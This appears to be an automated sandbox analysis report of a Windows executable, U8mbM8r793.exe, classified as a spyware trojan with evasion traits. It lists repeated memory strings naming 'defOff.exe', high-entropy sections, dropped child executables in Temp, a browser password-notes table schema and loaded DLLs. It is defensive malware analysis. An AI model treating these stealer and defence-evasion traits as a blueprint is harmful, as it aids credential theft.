Source: U8mbM8r793.exe, 00000004.00000003.1520290354.0000000005F3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528335402.00000000063E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526466655.00000000063CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1520976169.0000000005F3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527818199.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528831595.00000000064FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527679382.00000000063E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1530163696.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1519831035.00000000062F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1552647904.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529977811.0000000006510000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1533154947.00000000062E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524276852.00000000063BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1525956637.00000000063CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1533561187.000000000655E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527403434.00000000063D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522384593.00000000062F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1531187328.000000000640C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1517629317.00000000060E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527954007.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526860200.00000000063E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526209402.00000000063D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1530631728.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523859307.00000000063A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529808604.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523707049.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1535478858.00000000062E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1519976426.0000000005F3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1535945858.0000000006568000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523234269.00000000063AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529300361.00000000062EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1519714852.0000000005F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524413629.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528075112.00000000063E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1552842344.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1536939228.00000000062EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1520417932.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1532933613.000000000641B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1517629317.00000000061AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521470747.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521764261.00000000062EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528688824.00000000063F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1531998236.000000000652B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522656916.00000000062ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526337596.00000000062ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1530988265.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528475914.00000000062E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1534746714.000000000642A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1534515984.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529147720.0000000006401000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526995501.00000000062F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522268057.000000000639E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1519534871.00000000061AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1532681748.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521613354.000000000639E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521193345.00000000062E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1532490242.0000000006416000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521343617.0000000005F3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523540558.00000000063B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529648510.00000000062E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1534135075.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1535207548.0000000006429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1531410363.0000000006532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1534963598.00000000062E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1525571717.00000000063BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1523394604.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1525703861.00000000064A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1534325579.0000000006433000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1536339759.000000000643D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1521925375.000000000639C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526079624.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1532287651.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1520704453.00000000062EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1529460613.00000000063FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524132735.00000000062ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522151526.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1531573929.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1524552977.00000000063B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1553038382.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1552511921.00000000060E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1536138276.00000000062EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1525830629.00000000062EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1533354130.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1531772587.0000000006406000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1535758703.0000000006426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1525007360.00000000062EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527542793.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1530423002.000000000640E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1530806375.0000000006410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1527129300.00000000063DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1520552815.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1533947353.0000000006435000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522951676.0000000006463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1528993619.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1526725796.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe
Source: U8mbM8r793.exe, 00000004.00000003.1522504648.0000000006397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs U8mbM8r793.exe

Source: U8mbM8r793.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: U8mbM8r793.exe	Static PE information: Section: ZLIB complexity 0.9973445526541096
Source: U8mbM8r793.exe	Static PE information: Section: oqtikcnf ZLIB complexity 0.9946148454076993

Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IC79VITF07QUR284C1B5QWCEACP3.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\U8mbM8r793.exe

File created: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: U8mbM8r793.exe, 00000004.00000003.1337451658.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1359658482.0000000005E77000.00000004.00000800.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1337169614.0000000005E59000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: U8mbM8r793.exe	Virustotal: Detection: 52%
Source: U8mbM8r793.exe	ReversingLabs: Detection: 50%

Source: IC79VITF07QUR284C1B5QWCEACP3.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: IC79VITF07QUR284C1B5QWCEACP3.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\U8mbM8r793.exe

File read: C:\Users\user\Desktop\U8mbM8r793.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\U8mbM8r793.exe "C:\Users\user\Desktop\U8mbM8r793.exe"
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process created: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe "C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe"
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process created: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe "C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe"
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process created: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe "C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process created: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe "C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: iphlpapi.dll	Jump to behavior
